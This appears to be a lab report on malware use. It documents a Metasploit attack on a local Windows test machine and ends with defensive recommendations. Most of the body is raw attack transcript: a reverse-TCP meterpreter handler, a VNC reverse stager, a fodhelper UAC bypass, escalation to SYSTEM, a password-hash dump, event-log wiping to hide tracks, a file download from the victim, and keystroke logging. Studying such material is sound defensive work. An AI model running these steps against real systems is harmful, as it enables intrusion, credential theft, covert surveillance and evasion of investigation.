

# Understanding Malware Creation and Information Access

**1. Introduction:** Malicious software, or malware, poses a significant threat to individuals, organizations, and society as a whole. This report aims to explore the process of malware creation and the types of information typically accessed by such malicious programs.

**2. Overview of Malware Creation:** Malware encompasses a wide range of malicious software designed to infiltrate, damage, or gain unauthorized access to computer systems. Motivations behind malware creation vary, including financial gain, espionage, or disruption of operations.

**3. Methodology:** Information for this report was gathered through a combination of research using tools like **msfvenom**, **fatrat**, . And exploited using Metasploit Framework.

**4. Malware Creation Process:** Well only after involving several stages, including reconnaissance, development, testing, and deployment the malware creation takes place.

- Payload for VNC session : created using msfvenom
- Backdoor : created using msfvenom

## 5. Information Accessed by Malware:

### A. This is possible after infecting victim with payload for VNC session

Identified active listening ports, including 135, 445, 5040, 5357, etc., along with associated processes.

Observed established connections to external IP addresses, including those associated with SkypeApp.exe, OneDrive.exe, and VNC\_S.exe.

Noted connections to various remote IP addresses over HTTPS (port 443), possibly indicating communication with external servers.

### Network connections

```
meterpreter > netstat
```

Connection list

=====

Proto	Local address	Remote address	State	User	Inode	PID/Programname
----	-----	-----	----	----	-----	-----
tcp	0.0.0.0:135	0.0.0.0:*	LISTEN	0	0	796/svchost.exe
tcp	0.0.0.0:445	0.0.0.0:*	LISTEN	0	0	4/System
tcp	0.0.0.0:5040	0.0.0.0:*	LISTEN	0	0	568/svchost.exe
tcp	0.0.0.0:5357	0.0.0.0:*	LISTEN	0	0	4/System

tcp	0.0.0.0:49664	0.0.0.0:*	LISTEN	0	0	580/lsass.exe
tcp	0.0.0.0:49665	0.0.0.0:*	LISTEN	0	0	480/wininit.exe
tcp	0.0.0.0:49666	0.0.0.0:*	LISTEN	0	0	1000/svchost.exe
tcp	0.0.0.0:49667	0.0.0.0:*	LISTEN	0	0	716/svchost.exe
tcp	0.0.0.0:49668	0.0.0.0:*	LISTEN	0	0	1796/spoolsv.exe
tcp	0.0.0.0:49669	0.0.0.0:*	LISTEN	0	0	572/services.exe
tcp	192.168.1.69:139	0.0.0.0:*	LISTEN	0	0	4/System
tcp	192.168.1.69:49689	20.198.118.190:443	ESTABLISHED	0	0	
716/svchost.exe						
tcp	192.168.1.69:50240	20.198.118.190:443	ESTABLISHED	0	0	
6152/OneDrive.exe						
tcp	192.168.1.69:50431	192.168.1.75:444	ESTABLISHED	0	0	
4464/Vnc_S.exe						
tcp	192.168.1.69:50472	13.107.21.239:443	TIME_WAIT	0	0	0/[System
Process]						
tcp	192.168.1.69:50474	13.107.42.16:443	ESTABLISHED	0	0	
920/SkypeApp.exe						
tcp	192.168.1.69:50475	13.107.42.16:443	ESTABLISHED	0	0	
920/SkypeApp.exe						
tcp	192.168.1.69:50476	13.107.3.128:443	ESTABLISHED	0	0	
920/SkypeApp.exe						
tcp	192.168.1.69:50477	20.210.223.40:443	ESTABLISHED	0	0	
920/SkypeApp.exe						
tcp	192.168.1.69:50478	207.46.230.115:443	ESTABLISHED	0	0	
920/SkypeApp.exe						
tcp	192.168.1.69:50479	103.211.150.177:443	ESTABLISHED	0	0	
5096/backgroundTaskHost.exe						
tcp	192.168.1.69:50480	20.24.125.47:443	ESTABLISHED	0	0	
4956/backgroundTaskHost.exe						
tcp	192.168.1.69:50481	52.182.141.63:443	ESTABLISHED	0	0	
4988/FileCoAuth.exe						
tcp6	:::135	:::*	LISTEN	0	0	796/svchost.exe
tcp6	:::445	:::*	LISTEN	0	0	4/System
tcp6	:::5357	:::*	LISTEN	0	0	4/System
tcp6	:::49664	:::*	LISTEN	0	0	580/lsass.exe
tcp6	:::49665	:::*	LISTEN	0	0	480/wininit.exe
tcp6	:::49666	:::*	LISTEN	0	0	1000/svchost.exe
tcp6	:::49667	:::*	LISTEN	0	0	716/svchost.exe
tcp6	:::49668	:::*	LISTEN	0	0	1796/spoolsv.exe
tcp6	:::49669	:::*	LISTEN	0	0	572/services.exe
udp	0.0.0.0:123	0.0.0.0:*		0	0	2016/svchost.exe
udp	0.0.0.0:161	0.0.0.0:*		0	0	2080/snmp.exe
udp	0.0.0.0:162	0.0.0.0:*		0	0	2072/snmptrap.exe
udp	0.0.0.0:500	0.0.0.0:*		0	0	716/svchost.exe
udp	0.0.0.0:3702	0.0.0.0:*		0	0	2448/svchost.exe
udp	0.0.0.0:3702	0.0.0.0:*		0	0	2448/svchost.exe
udp	0.0.0.0:3702	0.0.0.0:*		0	0	2568/dasHost.exe
udp	0.0.0.0:3702	0.0.0.0:*		0	0	2568/dasHost.exe
udp	0.0.0.0:4500	0.0.0.0:*		0	0	716/svchost.exe
udp	0.0.0.0:5050	0.0.0.0:*		0	0	568/svchost.exe
udp	0.0.0.0:5353	0.0.0.0:*		0	0	1168/svchost.exe
udp	0.0.0.0:5355	0.0.0.0:*		0	0	1168/svchost.exe

```

udp 0.0.0.0:51137      0.0.0.0:*          0 0 920/SkypeApp.exe
udp 0.0.0.0:55857      0.0.0.0:*          0 0 2568/dasHost.exe
udp 0.0.0.0:62412      0.0.0.0:*          0 0 2448/svchost.exe
udp 127.0.0.1:1900     0.0.0.0:*          0 0 2448/svchost.exe
udp 127.0.0.1:53093    0.0.0.0:*          0 0 716/svchost.exe
udp 127.0.0.1:62417    0.0.0.0:*          0 0 2448/svchost.exe
udp 192.168.1.69:137   0.0.0.0:*          0 0 4/System
udp 192.168.1.69:138   0.0.0.0:*          0 0 4/System
udp 192.168.1.69:1900  0.0.0.0:*          0 0 2448/svchost.exe
udp 192.168.1.69:62416 0.0.0.0:*          0 0 2448/svchost.exe
udp6 :::123            :::*                0 0 2016/svchost.exe
udp6 :::161            :::*                0 0 2080/snmp.exe
udp6 :::162            :::*                0 0 2072/snmptrap.exe
udp6 :::500            :::*                0 0 716/svchost.exe
udp6 :::3702           :::*                0 0 2448/svchost.exe
udp6 :::3702           :::*                0 0 2568/dasHost.exe
udp6 :::3702           :::*                0 0 2568/dasHost.exe
udp6 :::3702           :::*                0 0 2448/svchost.exe
udp6 :::4500           :::*                0 0 716/svchost.exe
udp6 :::5353           :::*                0 0 1168/svchost.exe
udp6 :::5355           :::*                0 0 1168/svchost.exe
udp6 :::51137          :::*                0 0 920/SkypeApp.exe
udp6 :::55858          :::*                0 0 2568/dasHost.exe
udp6 :::62413          :::*                0 0 2448/svchost.exe
udp6 ::1:1900          :::*                0 0 2448/svchost.exe
udp6 ::1:62415         :::*                0 0 2448/svchost.exe
udp6 fe80::bbfd:c63e:b784:3770:1900 :::*                0 0 2448/svchost.exe
udp6 fe80::bbfd:c63e:b784:3770:62414 :::*                0 0 2448/svchost.exe

```

## File System changes:

**meterpreter > ls**

**Listing: C:\Users\par3i\Desktop**

=====

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
040777/rwxrwxrwx	0	dir	2024-02-15 19:04:21 -0500	New folder
040777/rwxrwxrwx	0	dir	2024-02-15 18:55:02 -0500	blank
100666/rw-rw-rw-	282	fil	2024-02-14 18:24:09 -0500	desktop.ini

**meterpreter > mkdir youarehacked**

**Creating directory: youarehacked**

**meterpreter > ls**

**Listing: C:\Users\par3i\Desktop**

=====

Mode	Size	Type	Last modified	Name
------	------	------	---------------	------

```

-----
040777/rwxrwxrwx 0   dir  2024-02-15 19:04:21 -0500 New folder
040777/rwxrwxrwx 0   dir  2024-02-15 18:55:02 -0500 blank
100666/rw-rw-rw- 282 fil  2024-02-14 18:24:09 -0500 desktop.ini
040777/rwxrwxrwx 0   dir  2024-03-28 16:21:48 -0400 youarehacked

```

meterpreter > cd youarehacked

## System Information:

meterpreter > ipconfig

### Interface 1

```

=====
Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

```

### Interface 9

```

=====
Name       : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:f2:17:c4
MTU        : 1500
IPv4 Address : 192.168.1.69
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2400:1a00:b060:c9d1::2
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::bbfd:c63e:b784:3770
IPv6 Netmask : ffff:ffff:ffff:ffff::

```

### Process List

```

=====

```

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System				
72	4	Registry				
312	4	smss.exe				
364	572	svchost.exe				
412	404	csrss.exe				

```

480 404 wininit.exe
488 472 csrss.exe
548 472 winlogon.exe
568 572 svchost.exe
572 480 services.exe
580 480 lsass.exe
700 572 svchost.exe
708 4408 msedge.exe          x64 1    DESKTOP-HD9NDSI\par3i C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe
716 572 svchost.exe
720 480 fontdrvhost.exe
728 548 fontdrvhost.exe
796 572 svchost.exe
808 4408 msedge.exe          x64 1    DESKTOP-HD9NDSI\par3i C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe
868 572 svchost.exe
888 548 dwm.exe
896 700 ShellExperienceHost.exe      x64 1    DESKTOP-HD9NDSI\par3i
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
920 700 SkypeApp.exe              x64 1    DESKTOP-HD9NDSI\par3i C:\Program
Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64_kzf8qxf38zg5c\SkypeApp.exe
988 572 svchost.exe
1000 572 svchost.exe
1044 4408 msedge.exe            x64 1    DESKTOP-HD9NDSI\par3i C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe
1168 572 svchost.exe
1184 716 sihost.exe              x64 1    DESKTOP-HD9NDSI\par3i C:\Windows\System32\sihost.exe
1212 572 svchost.exe
1240 700 RuntimeBroker.exe        x64 1    DESKTOP-HD9NDSI\par3i
C:\Windows\System32\RuntimeBroker.exe
1304 4    Memory Compression
1344 572 svchost.exe
1404 700 SecHealthUI.exe          x64 1    DESKTOP-HD9NDSI\par3i
C:\Windows\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe
1488 572 svchost.exe
1560 572 MsMpEng.exe
1580 700 RuntimeBroker.exe        x64 1    DESKTOP-HD9NDSI\par3i
C:\Windows\System32\RuntimeBroker.exe
1632 572 svchost.exe
1644 572 svchost.exe
1672 572 svchost.exe
1796 572 spoolsv.exe
1848 572 svchost.exe
1940 700 SystemSettingsBroker.exe   x64 1    DESKTOP-HD9NDSI\par3i
C:\Windows\System32\SystemSettingsBroker.exe
1976 572 svchost.exe
2016 572 svchost.exe
2072 572 snmptrap.exe
2080 572 snmp.exe
2232 572 svchost.exe
2252 4440 MusNotiflyIcon.exe       x64 1    DESKTOP-HD9NDSI\par3i
C:\Windows\System32\MusNotiflyIcon.exe
2272 572 SearchIndexer.exe
2328 700 dllhost.exe              x64 1    DESKTOP-HD9NDSI\par3i C:\Windows\System32\dllhost.exe
2428 572 svchost.exe              x64 1    DESKTOP-HD9NDSI\par3i
C:\Windows\System32\svchost.exe
2448 572 svchost.exe
2568 364 dasHost.exe
2712 572 NisSrv.exe
2920 700 RuntimeBroker.exe        x64 1    DESKTOP-HD9NDSI\par3i
C:\Windows\System32\RuntimeBroker.exe
2996 572 svchost.exe
3024 572 SecurityHealthService.exe
3036 572 svchost.exe
3112 572 svchost.exe


```

3124	716	taskhostw.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\taskhostw.exe					
3176	700	TextInputHost.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe					
3304	364	ctfmon.exe	x64	1	
3468	4460	setup.exe			
3632	3608	explorer.exe	x64	1	DESKTOP-HD9NDSI\par3i C:\Windows\explorer.exe
3736	572	svchost.exe			
3956	4408	msedge.exe	x64	1	DESKTOP-HD9NDSI\par3i C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe					
3980	572	TrustedInstaller.exe			
4072	572	svchost.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\svchost.exe					
4088	572	VSSVC.exe			
4196	700	StartMenuExperienceHost.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe					
t.exe					
4344	700	RuntimeBroker.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\RuntimeBroker.exe					
4400	700	SearchApp.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe					
4408	504	msedge.exe	x64	1	DESKTOP-HD9NDSI\par3i C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe					
4420	4464	notepad.exe	x86	1	DESKTOP-HD9NDSI\par3i
C:\Windows\SysWOW64\notepad.exe					
4424	1184	SkypeBridge.exe	x64	1	DESKTOP-HD9NDSI\par3i C:\Program
Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64_kzf8qxf38zg5c\SkypeBridge\SkypeBridge.exe					
4460	5136	setup.exe			
4504	700	SearchApp.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe					
4604	700	Microsoft.Photos.exe	x64	1	DESKTOP-HD9NDSI\par3i C:\Program
Files\WindowsApps\Microsoft.Windows.Photos_2019.19071.12548.0_x64_8wekyb3d8bbwe\Microsoft.Photos.exe					
4636	700	RuntimeBroker.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\RuntimeBroker.exe					
4676	3632	SecurityHealthSystray.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\SecurityHealthSystray.exe					
4868	572	svchost.exe			
5136	5520	MicrosoftEdge_X64_122.0.2365.92.exe			
5216	572	svchost.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\svchost.exe					
5248	572	svchost.exe			
5260	700	RuntimeBroker.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\RuntimeBroker.exe					
5404	4408	msedge.exe	x64	1	DESKTOP-HD9NDSI\par3i C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe					
5424	4408	msedge.exe	x64	1	DESKTOP-HD9NDSI\par3i C:\Program Files
(x86)\Microsoft\Edge\Application\msedge.exe					
5520	3812	MicrosoftEdgeUpdate.exe			
5652	700	SecurityHealthHost.exe	x64	1	
5880	572	SgrmBroker.exe			
6152	6264	OneDrive.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Users\par3i\AppData\Local\Microsoft\OneDrive\OneDrive.exe					
6648	700	SecurityHealthHost.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\SecurityHealthHost.exe					
6792	700	ApplicationFrameHost.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\ApplicationFrameHost.exe					
7064	700	UserOOBEBroker.exe	x64	1	DESKTOP-HD9NDSI\par3i
C:\Windows\System32\oobe\UserOOBEBroker.exe					
7072	700	TiWorker.exe			
7092	700	SkypeBackgroundHost.exe	x64	1	DESKTOP-HD9NDSI\par3i C:\Program
Files\WindowsApps\Microsoft.SkypeApp_14.53.77.0_x64_kzf8qxf38zg5c\SkypeBackgroundHost.exe					

```
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=192.168.1.75 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Users\par3i\AppData\Local\Temp\FYVBQDgHh.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.1.75:4545...
meterpreter > [*] VNC Server session 6 opened (192.168.1.75:4545 -> 192.168.1.69:51101) at 2024-03-28 04:21:10 -0400
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "desktop-hd9ndsi"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
```

## Remote Access Activity:

Ran VNC modules to establish reverse Tcp connection.



## User Activity Monitoring:

```
meterpreter > idletime
```

User has been idle for: 24 secs

## B. Backdoor for Escalating Privileges

We deployed a backdoor created using msfvenom and injected to the victim system and then exploited vulnerabilities to gain access to the target system and attempted to elevate privileges unsuccessfully at first. Then bypassed User Account Control (UAC) to gain elevated privileges successfully. Following this, we stole password hashes from the system and cleared event logs to cover the tracks. With elevated privileges, We established persistence on the compromised system. To prevent such attacks, organizations should prioritize patch management, user training, and robust monitoring and detection systems.

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.75
LHOST => 192.168.1.75
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.75:4444
msf6 exploit(multi/handler) > [*] Sending stage (176198 bytes) to 192.168.1.69
[*] Meterpreter session 1 opened (192.168.1.75:4444 -> 192.168.1.69:49909) at 2024-03-29
04:01:26 -0400
sessions id
```

Active sessions

=====

Id	Name	Type	Information	Connection
--	----	----	-----	-----
1	meterpreter	x86/windows	DESKTOP-HD9NDSI\par3i	@ DESKTOP-HD9NDSI 192.168.1.75:4444 -> 192.168.1.69:49909 (192.168.1.69)

```
msf6 exploit(multi/handler) > getuid
[-] Unknown command: getuid. Run the help command for more details.
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
```

```
[*] Started reverse TCP handler on 192.168.1.75:4444
msf6 exploit(multi/handler) > [*] Sending stage (176198 bytes) to 192.168.1.69
[*] Meterpreter session 2 opened (192.168.1.75:4444 -> 192.168.1.69:49910) at 2024-03-29
04:02:41 -0400
getuid
[-] Unknown command: getuid. Run the help command for more details.
msf6 exploit(multi/handler) > sessions id
```

Active sessions

=====

Id	Name	Type	Information	Connection
----	------	------	-------------	------------



```

--  ----  -----
1      meterpreter x86/windows DESKTOP-HD9NDSI\par3i @ DESKTOP-HD9NDSI
192.168.1.75:4444 -> 192.168.1.69:49909 (192.168.1.69)
2      meterpreter x86/windows DESKTOP-HD9NDSI\par3i @ DESKTOP-HD9NDSI
192.168.1.75:4444 -> 192.168.1.69:49910 (192.168.1.69)

msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-HD9NDSI\par3i
meterpreter > run post/windows/gather/smart_hashdump

[*] Running module against DESKTOP-HD9NDSI
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20240329040410_default_192.168.1.69_windows.hashes_827903.txt
[-] Insufficient privileges to dump hashes!
meterpreter > getsystem -t 1
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_fodhelper) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac_fodhelper) > run

[*] Started reverse TCP handler on 192.168.1.75:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\Sysnative\cmd.exe /c C:\Windows\System32\fodhelper.exe
[*] Cleaning up registry keys ...
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/bypassuac_fodhelper) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/bypassuac_fodhelper) > run

[*] Started reverse TCP handler on 192.168.1.75:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\Sysnative\cmd.exe /c C:\Windows\System32\fodhelper.exe
[*] Sending stage (176198 bytes) to 192.168.1.69
[*] Meterpreter session 3 opened (192.168.1.75:4444 -> 192.168.1.69:49913) at 2024-03-29
04:06:10 -0400

```

[\*] Cleaning up registry keys ...

meterpreter > getuid

Server username: DESKTOP-HD9NDSI\par3i

meterpreter > getsystem -i 1

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > run post/windows/gather/smart\_hashdump

[\*] Running module against DESKTOP-HD9NDSI

[\*] Hashes will be saved to the database if one is connected.

[+] Hashes will be saved in loot in JtR password file format to:

[\*] /root/.msf4/loot/20240329040704\_default\_192.168.1.69\_windows.hashes\_047065.txt

[\*] Dumping password hashes...

[\*] Running as SYSTEM extracting hashes from registry

[\*] Obtaining the boot key...

[\*] Calculating the hboot key using SYSKEY d059cd13db4a3a32548836b5537ea5c0...

[\*] Obtaining the user list and keys...

[\*] Decrypting user keys...

[\*] Dumping password hints...

[\*] No users with password hints on this system

[\*] Dumping password hashes...

[+]

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[+]

DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[+]

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

[+]

par3i:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

meterpreter > clearev

[\*] Wiping 2071 records from Application...

[\*] Wiping 1493 records from System...

[\*] Wiping 30956 records from Security...

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter >

Listed Directory Contents: You used the ls command to list the contents of a directory located at C:\Users\par3i\Desktop\blank. It displayed two folders named "New folder" and "New folder (2)", as well as a file named "findme.txt.txt".

meterpreter > ls

Listing: C:\Users\par3i\Desktop\blank

=====

Mode	Size	Type	Last modified	Name
------	------	------	---------------	------

```

-----
040777/rwxrwxrwx 0   dir  2024-03-28 16:39:46 -0400  New folder
040777/rwxrwxrwx 0   dir  2024-03-28 16:39:58 -0400  New folder (2)
100666/rw-rw-rw- 0   fil  2024-03-28 16:40:06 -0400  findme.txt.txt

```

Viewed File Timestamps: With the timestamp command, you checked the timestamp attributes of the file "findme.txt.txt". It showed the modified, accessed, created, and entry modified timestamps.

```

meterpreter > timestamp findme.txt.txt -v
[*] Showing MACE attributes for findme.txt.txt
Modified      : 2024-03-28 17:40:06 -0400
Accessed      : 2024-03-28 17:40:14 -0400
Created       : 2024-03-28 17:40:06 -0400
Entry Modified: 2024-03-28 17:40:15 -0400

```

Downloaded a File: You downloaded the file "findme.txt.txt" to the /root/ directory on your local machine using the download command.

```

meterpreter > download findme.txt.txt
[*] Downloading: findme.txt.txt -> /root/findme.txt.txt
[*] Completed  : findme.txt.txt -> /root/findme.txt.txt

```

Searched for a File: You used the search command to look for a file named "pagefile.sys". One result was found at c:\pagefile.sys, indicating its size and modification timestamp.

```

meterpreter > search -f pagefile.sys

```

Found 1 result...

```

=====

```

Path	Size (bytes)	Modified (UTC)
c:\pagefile.sys	1409286144	2024-03-29 16:29:24 -0400

Started Keylogging: The keyscan\_start command initiated a keystroke sniffer to capture keystrokes.

Dumped Captured Keystrokes: You dumped the captured keystrokes using the keyscan\_dump command. It revealed some keystrokes including "testing", "hey", and "lets see".

```
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
<^Shift> <^Shift> <^Shift> testing<CR>
<CR>
hey ley<^H>ts see
```

## 6. Recommendation

- **Regular Patch Management:** Ensure that all software and systems are regularly updated with the latest security patches to mitigate vulnerabilities that could be exploited by malware.
- **User Training and Awareness:** Conduct regular training sessions for users to raise awareness about the risks of malware, social engineering tactics, and best practices for cybersecurity hygiene, such as avoiding suspicious links and email attachments.
- **Network Monitoring:** Implement robust network monitoring solutions to detect unusual network activity, such as connections to unfamiliar IP addresses or unusual port activity, which could indicate the presence of malware.
- **Strong Authentication:** Enforce strong password policies and consider implementing multi-factor authentication (MFA) to prevent unauthorized access to systems and sensitive information.
- **Privilege Management:** Implement the principle of least privilege (PoLP) to restrict user access to only the resources and permissions necessary for their roles. Additionally, regularly review and revoke unnecessary privileges to limit the potential impact of a successful malware attack.
- **Endpoint Security Solutions:** Deploy and regularly update endpoint security solutions, such as antivirus software and intrusion detection systems, to detect and prevent malware infections on individual devices.
- **Incident Response Plan:** Develop and regularly update an incident response plan outlining the steps to be taken in the event of a malware infection, including containment, eradication, and recovery procedures.
- **Data Backup and Recovery:** Implement regular data backups and ensure that critical data is stored securely and can be quickly restored in the event of a malware attack or data breach.
- **Continuous Security Monitoring:** Establish continuous security monitoring capabilities to detect and respond to emerging threats in real-time, minimizing the impact of potential malware attacks.
- **Regular Security Audits:** Conduct regular security audits and assessments to identify and address any weaknesses or gaps in your organization's security posture, ensuring ongoing protection against malware threats.

## **7. Conclusion**

By implementing these recommendations, organizations can enhance their resilience against malware attacks, minimize the likelihood of successful breaches, and protect sensitive data and critical systems from unauthorized access or manipulation. Additionally, maintaining a proactive and adaptive cybersecurity posture is essential for staying ahead of evolving threats and effectively mitigating emerging risks in today's dynamic threat landscape.